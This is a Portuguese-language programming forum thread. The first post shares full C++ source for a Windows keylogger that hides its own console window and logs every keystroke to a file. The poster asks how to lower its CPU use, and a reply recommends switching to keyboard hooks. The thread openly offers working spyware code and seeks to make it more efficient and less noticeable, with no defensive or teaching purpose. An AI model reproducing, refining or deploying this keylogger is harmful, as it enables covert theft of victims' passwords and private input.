Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Uso do processador por keylogger

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Uso do processador por keylogger

    Boa tarde experts de C++, navegando na interwebs eu achei esse souce de um keylogger porém esse código consome muita carga do processador beirando os 100% de uso, gostaria que aguém me dissesse uma solução que faça ele consumir no máximo 10% do processador, obrigado.

    Código:
    #include <iostream>
    #include <windows.h>
    #include <winuser.h>
    
    using namespace std;
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
    	Stealth();
    	char i;
    
    	while (1)
    	{
    		for(i = 8; i <= 190; i++)
    		{
    			if (GetAsyncKeyState(i) == -32767)
    			Save (i,"LOG.txt");
    		}
    	}
    	system ("PAUSE");
    	return 0;
    }
    
    /* *********************************** */
    
    int Save (int key_stroke, char *file)
    {
    	if ( (key_stroke == 1) || (key_stroke == 2) )
    		return 0;
    
    	FILE *OUTPUT_FILE;
    	OUTPUT_FILE = fopen(file, "a+");
    
    	cout << key_stroke << endl;
    
    	if (key_stroke == 8)
    		fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    	else if (key_stroke == 13)
    		fprintf(OUTPUT_FILE, "%s", "\n");
    	else if (key_stroke == 32)
    		fprintf(OUTPUT_FILE, "%s", " ");
    	else if (key_stroke == VK_TAB)
    		fprintf(OUTPUT_FILE, "%s", "[TAB]");
    	else if (key_stroke == VK_SHIFT)
    		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    	else if (key_stroke == VK_CONTROL)
    		fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    	else if (key_stroke == VK_ESCAPE)
    		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    	else if (key_stroke == VK_END)
    		fprintf(OUTPUT_FILE, "%s", "[END]");
    	else if (key_stroke == VK_HOME)
    		fprintf(OUTPUT_FILE, "%s", "[HOME]");
    	else if (key_stroke == VK_LEFT)
    		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    	else if (key_stroke == VK_UP)
    		fprintf(OUTPUT_FILE, "%s", "[UP]");
    	else if (key_stroke == VK_RIGHT)
    		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    	else if (key_stroke == VK_DOWN)
    		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    	else if (key_stroke == 190 || key_stroke == 110)
    		fprintf(OUTPUT_FILE, "%s", ".");
    	else
    		fprintf(OUTPUT_FILE, "%s", &key_stroke);
    
    	fclose (OUTPUT_FILE);
    	return 0;
    }
    
    /* *********************************** */
    
    void Stealth()
    {
    	HWND Stealth;
    	AllocConsole();
    	Stealth = FindWindowA("ConsoleWindowClass", NULL);
    	ShowWindow(Stealth,0);
    }
    --
    Johnny Sys


    A mente que se abre a uma nova ideia jamais voltará ao seu tamanho original

  • Font Size
    #2
    Hi !
    Não sou da área, mas veja:
    O uso da função da API GetAsyncKeyState é que está aumentando o consumo.
    A solução é utilizar a técnica Hooking, ou uso de Hooks.
    []'s

    Comment

    X
    Working...
    X